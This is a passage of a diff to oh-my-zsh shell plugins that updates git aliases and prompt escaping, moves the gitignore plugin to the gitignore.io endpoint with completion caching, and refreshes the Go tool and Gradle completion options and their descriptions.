   command git rev-parse --git-dir &>/dev/null || return
@@ -145,8 +156,9 @@ function gbda() {
 # Copied and modified from James Roeder (jmaroeder) under MIT License
 # https://github.com/jmaroeder/plugin-git/blob/216723ef4f9e8dde399661c39c80bdf73f4076c4/functions/gbda.fish
 function gbds() {
-  local default_branch=$(git_main_branch)
+  local default_branch
-  (( ! $? )) || default_branch=$(git_develop_branch)
+  default_branch=$(git_main_branch) \
+    || default_branch=$(git_develop_branch)
 
   git for-each-ref refs/heads/ "--format=%(refname:short)" | \
     while read branch; do
@@ -161,7 +173,7 @@ alias gbgd='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk
 alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
 alias gbm='git branch --move'
 alias gbnm='git branch --no-merged'
-alias gbr='git branch --remote'
+alias gbr='git branch --remotes'
 alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
 alias gbg='LANG=C git branch -vv | grep ": gone\]"'
 alias gco='git checkout'
@@ -427,19 +439,13 @@ alias gke='\gitk --all $(git log --walk-reflogs --pretty=%h) &!'
 
 unset git_version
 
-# Logic for adding warnings on deprecated aliases
+# Logic for adding warnings on deprecated aliases or functions
-local old_alias new_alias
+local old_name new_name
-for old_alias new_alias (
+for old_name new_name (
-  # TODO(2023-10-19): remove deprecated `git pull --rebase` aliases
+  current_branch  git_current_branch
-  gup     gpr
-  gupv    gprv
-  gupa    gpra
-  gupav   gprav
-  gupom   gprom
-  gupomi  gpromi
 ); do
-  aliases[$old_alias]="
+  aliases[$old_name]="
-    print -Pu2 \"%F{yellow}[oh-my-zsh] '%F{red}${old_alias}%F{yellow}' is a deprecated alias, using '%F{green}${new_alias}%F{yellow}' instead.%f\"
+    print -Pu2 \"%F{yellow}[oh-my-zsh] '%F{red}${old_name}%F{yellow}' is deprecated, using '%F{green}${new_name}%F{yellow}' instead.%f\"
-    $new_alias"
+    $new_name"
 done
-unset old_alias new_alias
+unset old_name new_name

plugins/gitfast/git-prompt.sh

@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
 			if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
 				upstream="$upstream \${__git_ps1_upstream_name}"
 			else
-				upstream="$upstream ${__git_ps1_upstream_name}"
+				upstream="$upstream ${__git_ps1_upstream_name//\%/%%}"
 				# not needed anymore; keep user's
 				# environment clean
 				unset __git_ps1_upstream_name
@@ -570,6 +570,9 @@ __git_ps1 ()
 	if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
 		__git_ps1_branch_name=$b
 		b="\${__git_ps1_branch_name}"
+	else
+		# escape % in branch name to avoid prompt expansion issues
+		b="${b//\%/%%}"
 	fi
 
 	if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then

plugins/gitignore/README.md

@@ -1,6 +1,6 @@
 # gitignore
 
-This plugin enables you the use of [gitignore.io](https://www.toptal.com/developers/gitignore) from the command line. You need an active internet connection.
+This plugin enables you to use [gitignore.io](https://www.gitignore.io) from the command line. You need an active internet connection to fetch templates. The plugin uses the gitignore.io CDN endpoint to simplify access and improve reliability.
 
 To use it, add `gitignore` to the plugins array in your zshrc file:
 
@@ -14,4 +14,4 @@ plugins=(... gitignore)
 
 * `gi [TEMPLATENAME]`: Show git-ignore output on the command line, e.g. `gi java` to exclude class and package files.
 
-* `gi [TEMPLATENAME] >> .gitignore`: Appending programming language settings to your projects .gitignore.
+* `gi [TEMPLATENAME] >> .gitignore`: Append the template rules to your project's `.gitignore` file.

plugins/gitignore/gitignore.plugin.zsh

@@ -1,12 +1,57 @@
-function gi() { curl -fLw '\n' https://www.toptal.com/developers/gitignore/api/"${(j:,:)@}" }
+# gitignore plugin for oh-my-zsh
-
+# Uses gitignore.io CDN endpoint
-_gitignoreio_get_command_list() {
+function _gi_curl() {
-  curl -sfL https://www.toptal.com/developers/gitignore/api/list | tr "," "\n"
+  curl -sfL "https://www.gitignore.io/api/$1"
 }
 
-_gitignoreio () {
+function gi() {
+  local query="${(j:,:)@}"
+  _gi_curl "$query" || return 1
+}
+
+_gitignoreio_get_command_list() {
+  setopt local_options pipe_fail
+  _gi_curl "list" | tr "," "\n"
+}
+
+__gitignoreio_caching_policy() {
+  local -a oldp
+  oldp=("$1"(Nm+7))
+  (($#oldp))
+}
+
+_gitignoreio_retrieve_stale_cache() {
+  zstyle -t ":completion:${curcontext}:" use-cache || return 1
+
+  local cache_dir
+  zstyle -s ":completion:${curcontext}:" cache-path cache_dir
+  : ${cache_dir:=${ZDOTDIR:-$HOME}/.zcompcache}
+
+  [[ -e "$cache_dir/gi-list" ]] || return 1
+  . "$cache_dir/gi-list"
+}
+
+_gitignoreio() {
   compset -P '*,'
-  compadd -S '' `_gitignoreio_get_command_list`
+
+  local cache_policy
+  zstyle -s ":completion:${curcontext}:" cache-policy cache_policy
+  if [[ -z "$cache_policy" ]]; then
+    zstyle ":completion:${curcontext}:" cache-policy __gitignoreio_caching_policy
+  fi
+
+  local -a _gi_list
+  if _cache_invalid gi-list || ! _retrieve_cache gi-list; then
+    local command_list
+    if command_list="$(_gitignoreio_get_command_list)" && [[ -n "$command_list" ]]; then
+      _gi_list=(${(f)command_list})
+      _store_cache gi-list _gi_list
+    else
+      _gitignoreio_retrieve_stale_cache
+    fi
+  fi
+
+  compadd -S '' -a _gi_list
 }
 
 compdef _gitignoreio gi

plugins/gnu-utils/README.md

@@ -27,7 +27,7 @@ The plugin also documents two other ways to do this:
 
 1. Using a function wrapper, such that, for example, there exists a function
 named `ls` which calls `gls` instead. Since functions have a higher preference
-than commands, this ends up calling the GNU coreutil. It has also a higher
+than commands, this ends up calling the GNU coreutils. It has also a higher
 preference over shell builtins (`gecho` is called instead of the builtin `echo`).
 
 2. Using an alias. This has an even higher preference than functions, but they

plugins/golang/_golang

@@ -15,6 +15,52 @@ __go_identifiers() {
   compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
 }
 
+__go_tool_commands() {
+  local -a tools tool_commands
+  local -A command_seen short_count
+  local tool command
+
+  tools=("${(@f)$(go tool 2>/dev/null)}")
+
+  # Go 1.24+ lists module tools by package path, but also accepts unique
+  # default binary names for those tools.
+  for tool in "${tools[@]}"; do
+    [[ -n $tool ]] || continue
+
+    (( command_seen[$tool]++ ))
+
+    if [[ $tool == */* ]]; then
+      command=${tool:t}
+
+      if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
+        command=${${tool%/$command}:t}
+      fi
+
+      (( short_count[$command]++ ))
+    fi
+  done
+
+  for tool in "${tools[@]}"; do
+    [[ -n $tool ]] || continue
+
+    tool_commands+=("$tool")
+
+    if [[ $tool == */* ]]; then
+      command=${tool:t}
+
+      if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
+        command=${${tool%/$command}:t}
+      fi
+
+      if (( short_count[$command] == 1 && ! command_seen[$command] )); then
+        tool_commands+=("$command")
+      fi
+    fi
+  done
+
+  _values "go tool" "${tool_commands[@]}"
+}
+
 _go() {
   typeset -a commands build_flags
   commands+=(
@@ -208,7 +254,7 @@ _go() {
     ;;
   tool)
     if (( CURRENT == 3 )); then
-        _values "go tool" $(go tool)
+        __go_tool_commands
         return
     fi
     case ${words[3]} in

plugins/gradle/_gradle

@@ -34,18 +34,16 @@ __gradle-set-build-file() {
 
     local default_gradle_build_file_name="build.gradle"
     if [[ -r $gradle_settings_file ]]; then
-        default_gradle_build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
+        local build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
             sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}
 
-        default_gradle_build_file_name="${default_gradle_build_file:-build.gradle}"
+        default_gradle_build_file_name="${build_file_name:-build.gradle}"
     fi
 
-    local default_gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
+    gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
-    if [[ ! -f $default_gradle_build_file ]]; then
+    if [[ ! -f $gradle_build_file ]]; then
-        default_gradle_build_file="$project_root_dir/build.gradle.kts"
+        gradle_build_file="$project_root_dir/build.gradle.kts"
     fi
-
-    gradle_build_file=$default_gradle_build_file
 }
 
 __gradle-set-cache-name() {
@@ -214,6 +212,7 @@ __gradle_subcommand() {
                 '--dsl=[Set the build script DSL to be used in generated scripts.]' \
                 '--incubating[Allow the generated build to use new features and APIs.]' \
                 '--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
+                '--into=[Set the directory where the project is generated.]' \
                 '--java-version=[Provides java version to use in the project.]' \
                 '--overwrite[Allow existing files in the build directory to be overwritten?]' \
                 '--package=[Set the package for source files.]' \
@@ -228,6 +227,7 @@ __gradle_subcommand() {
                 '--all[Show additional tasks and detail.]' \
                 '--group=[Show tasks for a specific group.]' \
                 '--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
+                '--provenance[Show task provenance information]' \
                 '--types[Show task class types]' && ret=0
             ;;
         (test)
@@ -245,11 +245,15 @@ __gradle_subcommand() {
                 '--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
                 '--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
                 '--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
+                '--retries=[The number of download retries.]' \
+                '--retry-back-off-ms=[The initial back off in milliseconds between retries (doubles on each failure).]' \
                 '--validate-url[Sets task to validate the configured distribution url.]' && ret=0
             ;;
         (*)
             _arguments -C \
-                '-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories' \
+                '-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
+                '-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
+                '-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories' \
                 '-Dorg.gradle.caching.debug=[]' \
                 '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
                 '-Dorg.gradle.configuration-cache.entries-per-key=[]' \
@@ -260,24 +264,26 @@ __gradle_subcommand() {
                 '-Dorg.gradle.configuration-cache.integrity-check=[]' \
                 '-Dorg.gradle.configuration-cache.max-problems=[]' \
                 '-Dorg.gradle.configuration-cache.parallel=[]' \
-                '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn)' \
+                '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn)' \
                 '-Dorg.gradle.configuration-cache.read-only=[]' \
                 '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
                 '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-                '-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
+                '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
-                '-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
+                '-Dorg.gradle.console.interactive=[]' \
-                '-Dorg.gradle.continue=[Continue task execution after a task failure.]' \
+                '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
+                '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
+                '-Dorg.gradle.continue=[Continues task execution after a task failure.]' \
                 '-Dorg.gradle.continuous.quietperiod=[]' \
                 '-Dorg.gradle.daemon.healthcheckinterval=[]' \
                 '-Dorg.gradle.daemon.idletimeout=[]' \
                 '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
-                '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
+                '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
                 '-Dorg.gradle.debug.host=[]' \
                 '-Dorg.gradle.debug.port=[]' \
                 '-Dorg.gradle.debug.server=[]' \
                 '-Dorg.gradle.debug.suspend=[]' \
                 '-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
-                '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
+                '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
                 '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
                 '-Dorg.gradle.java.installations.auto-detect=[]' \
                 '-Dorg.gradle.java.installations.auto-download=[]' \
@@ -288,69 +294,75 @@ __gradle_subcommand() {
                 '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
                 '-Dorg.gradle.logging.stacktrace=[]' \
                 '-Dorg.gradle.native=[]' \
-                '-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
+                '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
-                '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low)' \
+                '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low)' \
-                '-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]' \
+                '-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \
-                '-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
+                '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
+                '-Dorg.gradle.tooling.parallel=[]' \
+                '-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]' \
                 '-Dorg.gradle.unsafe.isolated-projects=[]' \
                 '-Dorg.gradle.vfs.verbose=[]' \
-                '-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false)' \
+                '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \
-                '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']' \
+                '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]' \
                 '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
-                '-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]' \
+                '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
                 (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
                 (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-                '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn)' \
+                '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn)' \
-                (--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
+                (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
-                '--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose)' \
+                '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose)' \
-                (--no-continue)'--continue[Continue task execution after a task failure.]' \
+                '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
+                (--no-continue)'--continue[Continues task execution after a task failure.]' \
                 {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
-                (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
+                (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
-                (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
+                (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
-                {-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off)' \
+                {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off)' \
-                {-m,--dry-run}'[Run the builds with all task actions disabled.]' \
+                '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
-                \*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
+                '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
+                {-m,--dry-run}'[Runs the build with all task actions disabled.]' \
+                \*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
                 '--export-keys[Exports the public keys used for dependency verification.]' \
                 '--foreground[Starts the Gradle daemon in the foreground.]' \
-                (--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
+                (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
-                {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories' \
+                {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories' \
-                \*'--include-build[Include the specified build in the composite.]:include build:_directories' \
+                \*'--include-build[Includes the specified build in the composite.]:include build:_directories' \
-                (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
+                (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
-                \*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
+                \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
-                '--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]' \
+                '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
                 (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
                 (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
                 (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
-                (--continue)'--no-continue[Stop task execution after a task failure.]' \
+                (--continue)'--no-continue[Stops task execution after a task failure.]' \
-                (--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
+                (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
-                (--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
+                (--parallel)'--no-parallel[Disables parallel project execution.]' \
-                (--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
+                (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
-                {-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
+                {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
                 (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
-                (--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
+                (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
-                '--offline[Execute the build without accessing network resources.]' \
+                '--non-interactive[Do not do interactive prompting. (incubating)]' \
-                (--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
+                '--offline[Runs the build without accessing network resources.]' \
-                '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']' \
+                (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
-                (--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
+                '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \
-                '--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
+                (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
-                '--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories' \
+                '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
-                {-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories' \
+                '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories' \
-                '--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
+                {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories' \
-                (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
+                '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
-                {-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
+                (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
-                '--refresh-keys[Refresh the public keys used for dependency verification.]' \
+                {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
+                '--refresh-keys[Refreshes the public keys used for dependency verification.]' \
                 '--rerun[Causes the task to be re-run even if up-to-date.]' \
-                '--rerun-tasks[Ignore previously cached task results.]' \
+                '--rerun-tasks[Ignores previously cached task results.]' \
-                (--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
+                (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
                 {-V,--show-version}'[Print version info and continue.]' \
-                (--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
+                (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
-                '--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
+                '--task-graph[Prints the task graph instead of executing tasks.]' \
-                \*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
+                \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
-                (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
+                (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
-                '--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none)' \
+                '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none)' \
-                (--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
+                (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
-                '--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
+                '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
-                {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]' && ret=0
+                {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]' && ret=0
             ;;
     esac
 
@@ -376,7 +388,9 @@ _gradle() {
     typeset -A opt_args
 
     _arguments -C \
-'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories:->argument-expected' \
+'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
+        '-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
+        '-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories:->argument-expected' \
         '-Dorg.gradle.caching.debug=[]:->argument-expected' \
         '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
         '-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
@@ -387,24 +401,26 @@ _gradle() {
         '-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
-        '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
+        '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
         '-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
-        '-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
+        '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
-        '-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
+        '-Dorg.gradle.console.interactive=[]:->argument-expected' \
-        '-Dorg.gradle.continue=[Continue task execution after a task failure.]:->argument-expected' \
+        '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
+        '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
+        '-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \
         '-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
         '-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
         '-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
         '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
-        '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]:->argument-expected' \
+        '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]:->argument-expected' \
         '-Dorg.gradle.debug.host=[]:->argument-expected' \
         '-Dorg.gradle.debug.port=[]:->argument-expected' \
         '-Dorg.gradle.debug.server=[]:->argument-expected' \
         '-Dorg.gradle.debug.suspend=[]:->argument-expected' \
         '-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
-        '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
+        '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
         '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
         '-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
         '-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
@@ -415,73 +431,79 @@ _gradle() {
         '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
         '-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
         '-Dorg.gradle.native=[]:->argument-expected' \
-        '-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
+        '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
-        '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low):->argument-expected' \
+        '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low):->argument-expected' \
-        '-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]:->argument-expected' \
+        '-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \
